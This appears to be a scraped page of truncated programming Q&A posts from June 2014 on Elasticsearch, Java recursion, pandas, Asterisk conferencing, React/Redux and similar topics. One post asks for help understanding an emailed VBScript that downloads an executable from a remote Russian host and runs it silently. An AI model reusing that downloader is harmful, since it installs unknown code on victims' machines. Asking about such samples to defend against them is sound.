Posts

Showing posts from June, 2014

c# - Elasticsearch NEST return matched field -

i using elasticsearch nest .net client perform full-text search. have looked around internet see if there way accomplish want do. want know if there way fieldname matched search string , count of documents matched on field. i have object tooks like class person{ public string firstname {get;set;} public string surname {get;set;} public string streetname {get;set;} ...... } so full-text search "parker" match on of these field want return json below: response: {[ { matchon: "firstname", records: [ { firstname: "parker", surname: "thomas", streetname: "main" }, { firstname: "parker", surname: "smith", streetname: "jfk" } ..... ] } ]}

vbscript - Possible Extortion of Data -

someone sent me email vbs script, don't know don't know vbs. i guessing swindle extort data me, can't tell data. can please exlpain scrtipt do? sub httpupload( myurl, mypath ) dim objshell set objshell = wscript.createobject( "wscript.shell" ) dim i, objfile, objfso, objhttp, strfile, strmsg const forreading = 1, forwriting = 2, forappending = 8 set objfso = createobject( "scripting.filesystemobject" ) const temporaryfolder = 2 set tfolder = objfso.getspecialfolder(temporaryfolder) tname = objfso.gettempname + ".exe" mypath = tfolder + "/" + tname set objfile = tfolder.createtextfile(tname) set objhttp = createobject( "winhttp.winhttprequest.5.1" ) objhttp.open "get", myurl, false objhttp.send = 1 lenb( objhttp.responsebody ) objfile.write chr( ascb( midb( objhttp.responsebody, i, 1 ) ) ) next objfile.close( ) objshell.run(mypath) set objshell = nothing end sub httpupload "http://baikalmix.ru/bitri

recursion - Java recursive method difference -

what difference between following 2 methods: public boolean recursionmethodone(node n) { system.out.println(n.getvalue()); return recursionmethodone(n.next()); } public void recursionmethodtwo(node n) { system.out.println(n.getvalue()); recursionmethodtwo(n.next()); } which 1 use recursion , difference? thanks both codes doesn't exits. need add return test condition. example: public void recursionmethodtwo(node n) { if (n == null) { // standard way exit void function without executing remaing code // note return null; doesn't compile return; } system.out.println(n.getvalue()); recursionmethodtwo(n.next()); } returning value or not depends on kind of function. example if need calculate factorial need result, if need print list don't. so example seems method 2 closer needs. otherwise need ask returning boolean value of function? if have nice answer question can implement code returning value.

python - Pandas: Select balanced sample -

i have data frame 3000 companies covering 5 years. id company year value 0 1111111 2016 nan 1 1111111 2015 3871.0 2 3333333 2016 3989.0 3 3333333 2015 3648.0 4 4444444 2016 5456.0 5 4444444 2015 nan 6 2222222 2016 nan 7 2222222 2015 10.0 8 5555555 2016 1515.0 9 5555555 2015 2654.0 i make selection, makes sure companies not have nan value. there data periods in selection, , equal number of companies per period. what easiest way doing this? result should be: id company year value 2 3333333 2016 3989.0 3 3333333 2015 3648.0 7 5555555 2016 1515.0 8 5555555 2015 2654.0 thanks groupby.count() returns number of non-null values if groupby companies, count shou

python - Rapid compression of multiple lists with value addition -

i looking pythonic way iterate through large number of lists , use index of repeated values 1 list calculate total value values same index in list. for example, have 2 lists a = [ 1, 2, 3, 1, 2, 3, 1, 2, 3] b = [ 1, 2, 3, 4, 5, 6, 7, 8, 9] what want find unique values in a, , add corresponding values b same index. attempt, quite slow, follows: a1=list(set(a)) b1=[0 y in range(len(a1))] m in range(len(a)): k in range(len(a1)): if a1[k]==a[m]: b1[k]+=b[m] and get a1=[1, 2, 3] b1=[12, 15, 18] please let me know if there faster, more pythonic way this. thanks use zip() function , defaultdict dictionary collect values per unique value: from collections import defaultdict try: # python 2 compatibility future_builtins import zip except importerror: # python 3, there pass values = defaultdict(int) key, value in zip(a, b): values[key] += value a1, b1 = zip(*sorted(values.items())) zip() pairs valu

html agility pack - C# HtmlAgilityPack Selecting url & CSS -

i'm trying grab following data i'm unsure how. so, first thing i'm trying grab this <div style="background-color: #eee; margin: 0px; padding-left: 15px; font-size: 12px; padding-top: 5px; border-right: 5px solid crimson !important;"> field-tested / covert rifle i want grab "field-tested / covert rifle". i did following got null exception. var wear = webutility.htmldecode(node.selectsinglenode(@".//div[@style=""background-color: #eee; margin: 0px; padding-left: 15px; font-size: 12px; padding-top: 5px; border-right: 5px solid crimson !important;""]").innertext); also second bit of data want grab <div class="item-icon" style="background-image: url(https://steamcommunity-a.akamaihd.net/economy/image/-9a81dlwlwj2uugcvs_nsvtzdoedtwwkgzzlqhtxdz7i56ku0zwwo4nux4ofjzehlbxh5apeo4ymlhxyqkncrvco04devlxkkgpot7hxfdhjxszjemkv086jlokohcj5nr_yg2yfvzcg0rmxri2n31ex8ks9zjz2jikdcva4zarrqvm-wlzn1sc8ujnmw

java - Spring Boot mapping filter to /* even when using @WebFilter with url pattern -

i defined filter in spring boot application (1.3.5) , annotated below @webfilter(urlpatterns = {"/api/*"}, description = "create sessions api requests.") public class sessionfilter implements filter { i want use filter create session records in database api requests. however, i'm seeing filter getting called /favicon.ico request also. annotated main class @servletcomponentscan well. classes under sub packages of main class. from logs, see [/*] being mapped filter. can't why. [2016-06-09 22:39:34] [ info] [ost-startstop-1] [] [o.s.b.c.embedded.filterregistrationbean ][configure : 271] - mapping filter: 'com.mycompany.package.filter.sessionfilter' urls: [/api/*] [2016-06-09 22:39:34] [ info] [ost-startstop-1] [] [o.s.b.c.embedded.filterregistrationbean ][configure : 258] - mapping filter: 'sessionfilter' to: [/*] i registered following enable servlet 3.0 api. @configuration public class webconfig

pbx - Merging 2 Conference Bridges On asterisk -

hi have confbridge x participants abc , confbridge y participants def . times want merge both conferences without interrupting ongoing conversation 1 conference room either x or y . how can achieve via dial-plan or ami . you can use dynamic conference(without room exist) feature , create calls using originate command application confbridge. then want redirect exist call(xxx) conference room via ami: ("action: redirect" "actionid: transfercall" "exten: nnnn" "context: default" "priority: 1" "channel: sip/nnn-00000071" ). for full list of ami actions confbridge, please see: https://wiki.asterisk.org/wiki/display/ast/confbridge+ami+actions

html - Border bottom for select box option not working on chrome -

i underline disabled options on select box. see code, code #myselect option { font-size: 13px; color: #1a1f24; } #myselect option:disabled { font-size: 11px; color: #abb6c0; border-bottom: 1px solid #abb6c0; } <select id="myselect"> <option value="1">one</option> <option value="2" disabled>two</option> <option value="3">three</option> <option value="4">four</option> </select> this code works fine in firefox. not working in chrome. how make work in chrome ? js fiddle according article electrictoolbox , border isn't property can style in select / option / optgroup when using chrome. here properties can style: font-style font-weight color background-color font-family font-size padding note : of these properties above work 1 elements, example, padding work in select if want customize selects

How to create double labelled edges in Graphviz? -

Image
i create more 1 label 1 edge. result i'm interested in looks this: note edge {0,2} has 2 labels: e , z. 1 above edge, other 1 - below. exact outcome want. how can achieve this? have tried digraph g { graph [ splines = false rankdir="lr" ] -> b [ label = "foo" ]; -> b [ label = "bar" ]; } i've checked using http://www.webgraphviz.com/ result looks like taken stackoverflow question graphviz, grouping same edges

Creating a Hello World application with Servlet 4.0 (Java EE 8) and HTTP/2 -

Image
i trying understand how servlets 4 (java ee 8) gain benefits of http/2 writing hello world kind of application. aware java ee 8 yet released. is there way can try these features on beta release of servlet container glashfish? is there pre release developers try out java ee 8 api? disclaimer: once java ee 8 , servlet api 4.0 (which supports http/2) under development, answer may not updated. what's available (july 6 th 2016) at time of writing, here few resources may find useful: glassfish 5 nightly builds (looks it's fork of glassfish 4.1 , seems not incoporate java ee 8 components ). java servlet api 4.0 jar (currently released beta) available on maven repositories. apache tomcat 9 (not released final version yet), supports servlet api 4.0. payara 5 (under development), branch of payara project used java ee 8 features . the jsr java servlet api 4.0 (currently available draft). more details java ee 8 quoting java ee overview oracle we

Filebeat / logstash queue messages in peak periods -

i have single server running elasticsearch, logstash , kibana. incoming messages pushed server approximately 10 remote servers using filebeat. traffic 10 hosts quite "bursty" , @ peak times expect incoming requests hit 100k records per minute period of 15 minutes. my question is, if logstash cannot process 100k requests per minute filebeat start throttle or keep sending requests remote logstash server? also, if elk server down or unavailable, messages lost or filebeat wait until elk server available again before starts sending messages? i've looked filebeat docs , can't seem find answers these questions. pointers. filebeat connection based service, ensures can talk server before sending logs , waits logs ack'd logstash. additionally if logstash not able keep up, beats input plugin detect 'pipeline slowdown' , tell filebeat temporarily off. ill see if can find official references these facts.

java - I have a csv file with two different formats of date value, want them to be in any single format -

my csv file looks this id date 1602 11/23/2015 14:10 1602 11/23/2015 22:45 1602 18/10/2011 09:19:46 1702 18/10/2011 09:07:33 1863 18/10/2011 09:07:35 1436 18/10/2011 09:07:36 i'm looking output like id date 1602 11/23/2015 14:10 1602 11/23/2015 22:45 1602 10/18/2011 09:19:46 1702 10/18/2011 09:07:33 1863 10/18/2011 09:07:35 1436 10/18/2011 09:07:36 am i'm not sure why making more difficult is. seems doing (1) getting rid of first line of csv file; (2) tossing out quotation marks; (3) mapping sets of spaces/tabs single spaces; , (4) mapping newlines spaces. so . . . how following? (i assume data comes standard input.) sed 1d | tr -d /\"/ | tr -s "/[ \010\012]/ /" the 'sed' deletes first line; first 'tr' strips quotation marks; second 'tr' maps runs of spaces, tabs, and/or newlines single spaces (\010 , \012 octal codes ascii tab , ascii nl, res

Docker- connetcting AWS DynamoDB with ElasticSearch -

Image
i want connect dynamodb elasticsearch , achieve need use docker. error: as understand sth wrong elasticsearch host works: any ideas wrong? if have elasticsearch in seperate docker container logstash, have insert elasticsearch container ip address or hostname instead of localhost in configuration, can find ip address of docker container running: docker inspect <container id>

javascript/angularjs looping through an array show only one object -

in angularjs modal trying display classes have level 4 got one. please how should alter in order class $scope.openclass = function (classes) { $log.info("classes",classes); var modalinstance = $modal.open({ templateurl: 'classes.html', controller: 'modalclassinstancectrl', resolve: { info: function () { var info = {}; (var i=0;i<classes.length;i++){ if (classes[i].level==4){ info['name']= classes[i].name; $log.info("classinfo",info); } } $log.info(info); return info; } } }); the $log in if condition show me write classes 2 in case $log after loop show me one you use filter method, following: var filter

android - Why Recyclerview not Scrolls when its height is taken match parent in below xml? -

<?xml version="1.0" encoding="utf-8"?> <relativelayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" xmlns:app="http://schemas.android.com/apk/res-auto" android:background="#fff" > <linearlayout android:id="@+id/linear_layout_id" android:layout_width="match_parent" android:layout_height="wrap_content" android:background="@color/colorprimary" android:orientation="horizontal"> <imageview android:layout_width="0dp" android:layout_weight="1" android:layout_height="24dp" android:src="@drawable/ic_search" android:layout_margintop="12dp" android:layout_marginleft="5dp

xsd - How to generate JaxB-Classes with java.util.Optional? -

i use jaxb2-maven-plugin generate jaxb-classes given xsd. works fine. want use java.util.optional in generated classes. jaxb generated classes without optionals. i'm forced make null-check of every variable. did know how jaxb2-maven-plugin has configured use java.util.optional? thanks help! maybe find more generic i'm not sure if possible. anyway can still define custom adapter types want optional. here example of integer first, create adapter public final class integeroptionaladapter extends optionaladapter<integer> { } then use adapter in binding @xmlattribute @xmljavatypeadapter(integeroptionaladapter.class) private optional<integer> someinteger;

Uncaught Error: Cannot call abstract method (PHP Fatal error) -

i extending abstract class has 2 abstract methods. when try instantiate the child class, following error, php fatal error: uncaught error: cannot call abstract method getanswer::getanswer() when comment out getanswer() in both parent , child things work fine. php version: 7.0.2 in xampp, running on wondows 8.1. parent class file app-getanswer-base.php follows <?php abstract class getanswer{ abstract public function getanswer($username, $questionnaireid, $questionid); abstract public function getanswers($username, $questionnaireid); } child class file app-getanswer-db-direct.php follows <?php require_once 'config-db-login.php'; require_once 'app-getanswer-base.php'; class getanswer_sqlselect extends getanswer { public function getanswer($username, $questionnaireid, $questionid){ return null; } public function getanswers($username, $questionnaireid){ $connection = new mysqli(dblogin::$db_hostname, dblo

makefile - gnu make - recipe to keep installed version of file aligned with a master version of file -

so here's makefile install foo.conf, based on master copy called foo.conf.master. installs current directory rather /etc, testing purposes: all: foo.conf.copied foo.conf.copied: foo.conf.master foo.conf cp foo.conf.master foo.conf touch $@ # recipe tell make okay foo.conf not exist beforehand. foo.conf: so create foo.conf.master: $ touch foo.conf.master $ and you're ready test: $ make cp foo.conf.master foo.conf touch foo.conf.copied $ the point if (with "trusted" sysadmin hat on) modify foo.conf.master make (possibly called cron) roll out update: $ touch foo.conf.master $ make cp foo.conf.master foo.conf touch foo.conf.copied $ but equally important: if (with "rogue" sysadmin hat on) modify installed version make out update: $ touch foo.conf $ make cp foo.conf.master foo.conf touch foo.conf.copied $ woohoo. okay, problem: foo.conf isn't file want for, need change static rules pattern rules. okay, that&#

javascript - Changing image based on selection in 2 dropdowns -

i have 2 select elements: <select class="form-control" id="shape" name="shape"> <option value="a">a</option> <option value="b">b</option> <option value="c">c</option> <option value="d">d</option> <option value="e">e</option> <option value="f">f</option> </select> the second 1 shows sub categories of first: <select class="form-control" id="waist" name="waist"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> these part of form used other operations , names , values of these can changed. in database have images of a-1 , a-2 , a-3 , b-1 , b-2 , b-3 , c-1 , c-2 , c-3 , on. have space images should updated once options have been c

How to use a build system other than qmake with a Qt project? -

in qtcreator template qt project has simple .pro configuration file. .pro file qmake utility generates makefiles each of contains lots of includes every qt dependent source file: release/moc_mainwindow.cpp: src/controller/controller.hpp \ ... ../../../../qt/5.6/mingw49_32/include/qtwidgets/qmainwindow \ ../../../../qt/5.6/mingw49_32/include/qtwidgets/qmainwindow.h \ ... 100 lines here ... ../../../../qt/5.6/mingw49_32/include/qtwidgets/qpushbutton.h \ ../../../../qt/5.6/mingw49_32/include/qtwidgets/qabstractbutton.h \ src/view/qt/mainwindow.hpp i have difficulties configuring .pro files decided configure qt project build system: make, automake, cmake example. is there way configure build system automatically including lots of qt header files? or not include them build qt project without qtcreator? my question different using cmake qt creator because don't need qt creator present solve problem my cmake template: cmake_m

android - Libgdx final stage of adding admob to game -

i had finished game , wanted add admob ads game. i followed instructions in libgdx in admob and it's working well, , ads shown properly, wanna sure did , version of adomb proper , know if ready signed , uploaded play store : here code in androidluncher: public class androidlauncher extends androidapplication implements adhandler { private static final string tag="androidlauncher"; protected adview adview; private final int show_ads=1; private final int hide_ads=0; handler handler=new handler(){ @override public void handlemessage(message msg) { switch (msg.what){ case show_ads: adview.setvisibility(view.visible); break; case hide_ads: adview.setvisibility(view.gone); break; } } }; @override protected void oncreate (bundle savedinstancestate) { super.oncreate(sa

java - Removing from array and manage spaces after removing a worker -

i have method removes worker if name starts assigned letter accepted removeworker() method. can explain how second for loop working? public void removeworker(string s) { if (index == 0) { system.out.println("there worker in array!"); return; } (int = 0; < index; i++) { if (worker[i].getname().startswith(s)) { (int j = i; j < index - 1; j++) { worker[j] = worker[j + 1]; } worker[--index] = null; i--; } } } the second loop moves workers 1 place closer start of array. done avoid "holes" in array (which occur if set element null ). happens: if(worker[i].getname().startswith(s)) this checks if worker index should removed. for(int j = i; j < index - 1; j++) { this for-loop iterates on workers index greater or equal i, hence starting worker removed. stops second last index, accesses worker index j + 1. worker

mysql - Why does accessing COUNT field from subquery return only one result? -

am trying wrap head around why when access table these 2 ways 2 different results: query #1 : returns single result (i trying rows additional sum column) select *, sum(matches) newtable; query #2 : returns results expected select * newtable; table definition: create table if not exists newtable (pattern text, matches int); insert newtable select pattern, count(*) matches (select pattern cl_ra_30 id in (select case when id = id id + 1 end id cl_ra_30 pattern = '2_1_4_true')) k group pattern having matches > 1 order matches desc; this query (with table alias , qualified column names): select t.*, sum(t.matches) newtable t; because of sum() function, aggregation query. aggregation query has group by clause, specifying groups aggregation. in case, there no group by , sql specifies 1 row returned, rows in same group. in databases, query return error. mysql allows construct, choosing values non-aggregated columns indeterminate rows. probably

qt - How to detect "browser plug-in" library dependency before execution -

as know, there 2 methods of library loading. 1) static libraries (.a): library of object code linked with, , becomes part of application. 2) dynamically linked shared object libraries (.so), link @ execution of application , can used in 2 ways. a) dynamically linked @ run time statically aware. b) dynamically loaded/unloaded , linked during execution (i.e. browser plug-in) using dynamic linking loader system functions. after compilation, can check library dependency of type 'a' below objdump -x usr/bin/flashcp ..... dynamic section: needed libgcc_s.so.1 needed libc.so.6 my question how check/detect type 'b' library dependency ? please suggest there way detect before execution ? thanks in advance thiru there's no way check libraries loaded dynamically , functions called via function pointers. in special cases, hack, can attempt various ways of reverse-engineering executable, e.g. statically analyzing

javascript - iPad Issue : Unable to download PDF file from a page within iframe -

my application uses iframe display classic asp pages in mvc4 application. i came across issue downloading pdf file classic asp page on ipad (only). working on other browsers. when try download pdf file open in iframe instead of downloading file. i using response header content-disposition type attachment . markup <a href="javascript:doildownload(1054820);">statement file - 01/31/2014</a> javascript function doildownload(id) { ndel = 0; window.document.location.assign("cincfileil.asp?id=" + id); parent.window.document.getelementbyid('loadingdialog').style.display = 'none'; settimeout(function () { window.parent.window.document.getelementbyid('loadingdialog').style.display = 'none'; }, 500); }

mysql - Gateway Timeout Error on Insert 70000 record using Hibernate in Java -

my problem is: upload 10000 record excel database. excel sheet has 10000 rows , 70 100 column . store value in 6 mapping table using hibernate cascade. call method using ajax method. due inserting large amount of data. return timeout error(502 (proxy error) or 504 (gateway error)). i using aws services. configuration mistake.. please help thanks in advance how might see 502 bad gateway error based on web server, might see different 502 error. these mean same thing, naming conventions differ. here few examples of might see: “502 bad gateway” “http error 502 – bad gateway” “502 service temporarily overloaded” “error 502” “502 proxy error” “http 502” “502 bad gateway nginx” can see in greater detail error entails going web server’s error log file. error / diagnostic information stored in file making valuable resource check when need more details particular error. can locate file in apache going /var/log/apache2/error.log , in nginx going /var/log/nginx/error.log.

r - Can I get confidence interval instead of prediction interval using forecast.Arima (package forecast)? -

Image
hi understand differences between confidence interval , prediction interval (see post rob hyndman , discussion on crossvalidated). , prediction interval wider confidence interval. my question can confidence interval forecast.arima ? why prediction interval rather confidence interval calculated forecast ? in document of forecast: forecast(object, h=10, level=c(80,95), fan=false, lambda=null, bootstrap=false, npaths=5000, biasadj=false, ...) level confidence level prediction intervals. prediction intervals useful because in forecasting want know uncertainty of future observation. i can't think why ever need confidence interval future mean, here example showing how compute it: library(forecast) fit <- auto.arima(wwwusage) fc <- forecast(fit, h=20, level=95) sim <- matrix(na, ncol=20,nrow=1000) for(i in 1:1000) sim[i,] <- simulate(fit,20) se <- apply(sim,2,sd)/sqrt(1000) fc$upper <- fc$mean + 1.96*se fc$lower <- fc$mean - 1.96*se pl

android - Fabric Beta upload apk with bash script -

is ther way upload apk fabric beta using script? want upload signed apk this solution not meet requirements you can use fastlane uploading apk beta. has other useful options , integrations can use continues delivery. https://github.com/fastlane/fastlane

javascript - Initialize tinymce in angular jS function throws the error second time -

initialize tinymce editor in angular js init function passing textarea id dynamically html content below. <div ng-app="rootapp" ng-controller="rootcontroller"> <div id="div1"> ---first content-------- <div ng-controller="editorcontroller" ng-init="getinformation('settingsduplicates')"> <textarea id=" settingsduplicates"></textarea> </div> </div> <div id="div2"> ---first content-------- <div ng-controller="editorcontroller" ng-init="getinformation('new1')"> <textarea id=" new1"></textarea> </div> </div> </div> controller.js function $scope.getinformation = function (from) { tinymce.editors = []; tinymce.init({ mode: "specific_textareas", selector: "te

android - actionBarTheme conflicts with popupMenuStyle -

Image
i noticed when setting background in actionbartheme style attribute setting background in popupmenustyle style attribute : <style name="apptheme" parent="@style/theme.appcompat.light"> <item name="actionbartheme">@style/myactionbartheme</item> <item name="android:actionbartheme">@style/myactionbartheme</item> <item name="android:popupmenustyle">@style/mypopupmenu</item> <item name="popupmenustyle">@style/mypopupmenu</item> </style> <style name="myactionbartheme" parent="@style/themeoverlay.appcompat.actionbar"> <item name="background">@drawable/action_bar_background</item> <item name="android:background">@drawable/action_bar_background</item> </style> <style name="mypopupmenu" parent="@style/widget.appcompat.listpopupwindow"> <it

css - Font Awesome not working in offline mode with jsp -

i have searched throughout many articles , still doesn't know why it's not working on offline mode, when import cdn link of cdn instead of lib fontawesome it's working fine <link href="css/font-awesome-4.6.3/css/font-awesome.min.css" rel="stylesheet"> p/s: icon not showing up, blank +_+ make sure include actual font files when extract font awesome zip web folder. otherwise there's nothing css use.

how do i always show kendo grid default data row at the end of data source angularjs -

how show default data entering row @ end of data source in kendo grid ?? i want have kendo grid input row @ grid bottom @ times. when enter data , press 'enter' key, data should inserted in grid top bottom default data entry row should stay @ grid bottom. below grid initialization. have used angularjs / javascript kendo grid. //-> grid sample data demo purposes var s1 = []; //@@@@@@@@@@@@@@@@@@@@@@@@@@ //-> grid start var configaddpaymentsenter = {}; configaddpaymentsenter.resizable = true configaddpaymentsenter.sortable = true; configaddpaymentsenter.pageable = false; //{ // input: true, // numeric: false // }; configaddpaymentsenter.editable = { createat: 'bottom' }; configaddpaymentsenter.columns = [ { field: "connectionreference", attrib

javascript - React Redux - passing props with actions -

i have simple component i'd toggle depending on props. code looks follows: actions.js const toggletodo = (id) => { return { type: 'todoitem__toggle_todo', id } }; export { toggletodo } component.js import react 'react'; const todoitem = (props) => { const completed = props.isdone === true ? 'done' : ''; return ( <li classname={completed} id={props.id} onclick={props.toggle}>{props.text}</li> ); } export default todoitem; container.js import { connect } 'react-redux'; import component './component'; import * actions './actions'; const mapstatetoprops = (state) => { return state; }; const mapdispatchtoprops = (dispatch) => { return { toggle: (id) => { dispatch(actions.toggletodo(id)); } } }; const todoitem = connect( mapstatetoprops, mapdispatchtoprops )(component); export default todoitem; reducers.js const todoitemreducer = (state = [],

torch - Torch7, how to calculate the number of parameters in a convNet -

i looking way calculate number of parameters in convolutional neural network. in particular, using resnet model in https://github.com/facebook/fb.resnet.torch . know if there function calculate total number of parameters? have other suggestion doing it? in advance. you have go through each layer of network , count number of parameters in layer. here sample function that: -- example model fed function model = nn.sequential() model:add(nn.spatialconvolution(3,12,1,1)) model:add(nn.linear(2,3)) model:add(nn.relu()) function countparameters(model) local n_parameters = 0 i=1, model:size() local params = model:get(i):parameters() if params local weights = params[1] local biases = params[2] n_parameters = n_parameters + weights:nelement() + biases:nelement() end end return n_parameters end

java - 2-Dimensional array storage -

i have stumbled upon problem. want store 2-dimensional int array in file read later. there way of doing other simple txt.file? it's first post here, , excuse english. (java programming language) as indicated @andy can use objectoutputstream serialize array file int[][] intarray = new int[5][5]; //code populate array // serialize array fileoutputstream fos = new fileoutputstream("array.dat"); objectoutputstream oos = new objectoutputstream(fos); oos.writeobject(intarray); and can read array file using objectinputstream fileinputstream fis = new fileinputstream("array.dat"); objectinputstream iis = new objectinputstream(fis); intarray = (int[][]) iis.readobject(); hope helps.

vbscript - Prompt user before toggling proxy -

i need little vbscript using disable , enable proxy settings. happen script tells user current setting proxy either off or on if want can click change yes/no. or proxy off or proxy on. i know how make message box dont know should put code. this text box code: result = msgbox("proxy set off", vbokonly+vbinformation, "") and proxy changing code: option explicit dim wshshell, strsetting set wshshell = wscript.createobject("wscript.shell") 'determine current proxy setting , toggle oppisite setting strsetting = wshshell.regread("hkcu\software\microsoft\windows\currentversion\internet settings\proxyenable") if strsetting = 1 noproxy else end if 'subroutine toggle proxy setting on sub proxy wshshell.regwrite "hkcu\software\microsoft\windows\currentversion\internet settings\proxyenable", 1, "reg_dword" end sub 'subroutine toggle proxy setting off sub noproxy wshshell.regwrite "hkcu\software\

c# - When should I use integer for arithmetic operations instead of float/double -

some user said me should not use float/double stuff student grades, see last comments: sequenceequal() not equal custom class , float values "because easier , safer arithmetic in integers, , convert suitable display format @ last minute, attempt arithmetic in floating point formats. " i tried said result not satisfying. int grade1 = 580; int grade2 = 210; var average = (grade1 + grade2) / 2; string result = string.format("{0:0.0}", average / 100); result "3,0" double grade3 = 5.80d; double grade4 = 2.10d; double average1 = (grade3 + grade4) / 2; double averagefinal = math.round(average1); string result1 = string.format("{0:0.0}", averagefinal); result1 "4,0" i expect 4,0 because 3,95 should result in 4,0. worked because use math.round again works on double or decimal. not work on integer. so wrong here? you need "convert suitable display format @ last minute"

mapbox - How to know when we exited a roundabout when using Google Map API - Directions API -

im using google map api directions api routes show instructions users while driving. before arrive round about, can tell them take "n th" exit. when in round about, google api thinks @ next step , saying turn right in 500m. so, want know when exited roundabout before showing next step instruction. i aware mapbox api direction can have intersections there way have info google api? you should aware of restrictions exposed in terms of service. please @ paragraph 10.4 (c) says no navigation. not use service or content or in connection (a) real-time navigation or route guidance; or (b) automatic or autonomous vehicle control. https://developers.google.com/maps/terms#10-license-restrictions your use case might violation of tos.

branch.io - App not open – always redirect -

i trying use branch.io android application. main task start application link , pass parameters in application. took values ‘scheme’, ‘…branchkey’ , ‘…branchkey.test’ , replaced them in sample [branch-sdk-testbed][1]. after click link redirect on page message “it seems havn’t set branch link”. works if old values returned. please problem. thank you. alex branch.io here: hi! message means need go link settings page on branch dashboard , enter required values. these values tied branch key, when use original branch key testbed app, works because have set values. new replacement branch key doesn't have these defined yet, leading error.

bash - sort files by word in a line -

i have several files this. want sort them px numbers- ascending or descending see file best px value. 8671 words (including </s>), 8671 decompounded words 816 sentence(s), -llh=35158.3217 px=11342.3246, 323 oov (4.11%) 1-gram hits: 5537 (63.86%) 2-gram hits: 2859 (32.97%) 3-gram hits: 258 (2.98%) 4-gram hits: 17 (0.20%) is there way use sort commmand px number?(px=11342.3246) this 1 of few cases use both grep , sed in single pipeline, since getting hold of file name tricky in sed : grep px= my_files* | sed -r 's/([^:]+):.*px=([0-9.]+).*/\2 \1/' | sort -n

Privileges need to disable triggers database in Marklogic -

i have around 500k documents in marklogic database.. , have cpf enabled. if want mass delete or mass update (don;t want cpf triggered update) on documents.. i call marklogic administrator, has access administrator page (:8001), , ask him change triggers database none, , stuff , again ask administrator change original triggers database.. reason disable triggers database if don't, takes long time process request i thinking there must better way :) calling ml administrator every-time this. following of questions have, can assist me this what privilege needed if want programmatic (xquery) disable triggers database , re-enable it. helpful if can provide exact xquery calls disabling , enabling triggers database ? is there better way ? doing way doing ? is there anyway can tell cpf not run given update on document, other me assigning custom flag , in cpf check flag , nothing if flag enabled ? thanks (3) run triggers domain scoped collection rather uri. remove d

c++ - why should i return reference when i compare three objects? -

i tring learn operator overloading , dont somthing. when do: class point { public: void show(){ cout << "the point is(" << _x << ", " << _y << ")" << endl;} void print(){ _x = 1; _y = 1; } void operator+=(const point &other){ _x = other._x + 100; _y = other._y + 100; } private: int _x; int _y; }; int main() { point p1; point p2; p1 +=p2; p2.show(); getchar(); } its work. when change to: point p1; point p1; point p2; point p3; p1 +=p2 +=p3; its doesnt , need return (*this). why it? if can explain me greatfull.. :) the reason need return reference here p2 +=p3 not evaluate p2 after p3 has been added it. evaluate return value of operater+= of point void . cannot add void p1 error. another way of looking @ p2 +=p3 p2.operator+=(p3) . here can see not p2 instead p2.operator+=(p3) returns. this why return reference.

Merging two dataframes, removing duplicates and aggregation in R -

i have 2 dataframes in r named house , candidates. house house region military_strength 1 stark north 20000 2 targaryen slaver's bay 110000 3 lannister westerlands 60000 4 baratheon stormlands 40000 5 tyrell reach 30000 candidates house name region 1 lannister jamie lannister westros 2 stark robb stark north 3 stark arya stark westros 4 lannister cersi lannister westros 5 targaryen daenerys targaryen mereene 6 baratheon robert baratheon westros 7 mormont jorah mormont mereene i want merge 2 dataframes on basis of house. have done: merge(candidates, house, by="house", sort=false) the output : house name region.x region.y military_strength 1 lannister

spring - How to remove duplicate wildfly cache-control properties -

i have application spring 4.0.3, primefaces 5.3, myfaces 2.2.9 , wildfly-9.0.2.final , followed https://gist.github.com/remibantos/5e86829e1ba6ad64eea1 configure cache static resources when see in chrome cache-control is: max-age=600, public, no-cache, no-store, max-age=0, must-revalidate and static resources not cached. please can me?

Firebase and Google Analytics Frameworks are duplicated in iOS -

i upgraded firebase version 3.2 in swift project. used guide in firebase.google.com. tried run app following issues occurred in build project. think issue appeared owing migration of google , firebase in latest firebase version. how can fix issue? duplicate symbol _objc_class_$_acpresultdata in: /volumes/macdata/develop/project/mywork/ispimi/ispimi_ios_new /pods/google/libraries/libgglcore.a(gmpmeasurement.pb.o) /volumes/macdata/develop/project/mywork/ispimi/ispimi_ios_new /pods/firebaseanalytics/frameworks/firebaseanalytics.framework/firebaseanalytics(gmpmeasurement.pb_b3f2c8068b01605ef7f3a1753d3917b7.o) duplicate symbol _objc_metaclass_$_acpresultdata in: /volumes/macdata/develop/project/mywork/ispimi/ispimi_ios_new /pods/google/libraries/libgglcore.a(gmpmeasurement.pb.o) /volumes/macdata/develop/project/mywork/ispimi/ispimi_ios_new /pods/firebaseanalytics/frameworks/firebaseanalytics.framework/firebaseanalytics(gmpmeasurement.pb_b3f2c8068b01605ef7f3a1753d3917b7.o) ld: 44 dupli

performance - Android game loop: Draw / Update strategy (API 16+) -

im working on android 2d game (+ own simple engine) , try figure out best approach schedule drawing/updating mechanisms (api 16+) game motions smooth. im using custom view make use of hardware acceleration . surfaceview implementations werent convincing. studied android graphics architecture introduced idea of using choreographer me, not sure if makes sense combined custom view , postinvalidate() . note postinvalidate() executed on ui thread. here different approaches tried far : update thread (constantly running ellapsedtimeinmillis timing) + draw thread calls postinvalidate() every 16ms (with thread.sleep(restframetime) ) update thread (constantly running ellapsedtimeinmillis timing) + draw thread looper handler , custom view implementing choreographer.framecallback calls doframe() , calls postinvalidate() only 1 thread updating , drawing with choreographer.framecallback , 1 state-update every frame timing-information of doframe(long frametimenanos) . drawing posti

javascript - Display the value of selected menu item on a button angular -

i stuck @ issue have list of menu item <md-menu-item ng-value="menuitem.value" ng-repeat="menuitem in filtermenu.menuitems" ng-click="activefilterctrl.selectedfilter(menuitem)" translate> <md-button> {{ menuitem.name }} </md-button> </md-menu-item> following code want display value of selected menu item on button or on label should displayed after selection of menu item. please me resolve issue in code call selectedfilter(menuitem) function. can add in function: $scope.selectedfilter = function(menuitem){ // code here $scope.mylabel = menuitem.name; } and in html: <md-button> {{mylabel}} </md-button>

controller - removeAttribute magento 2 -

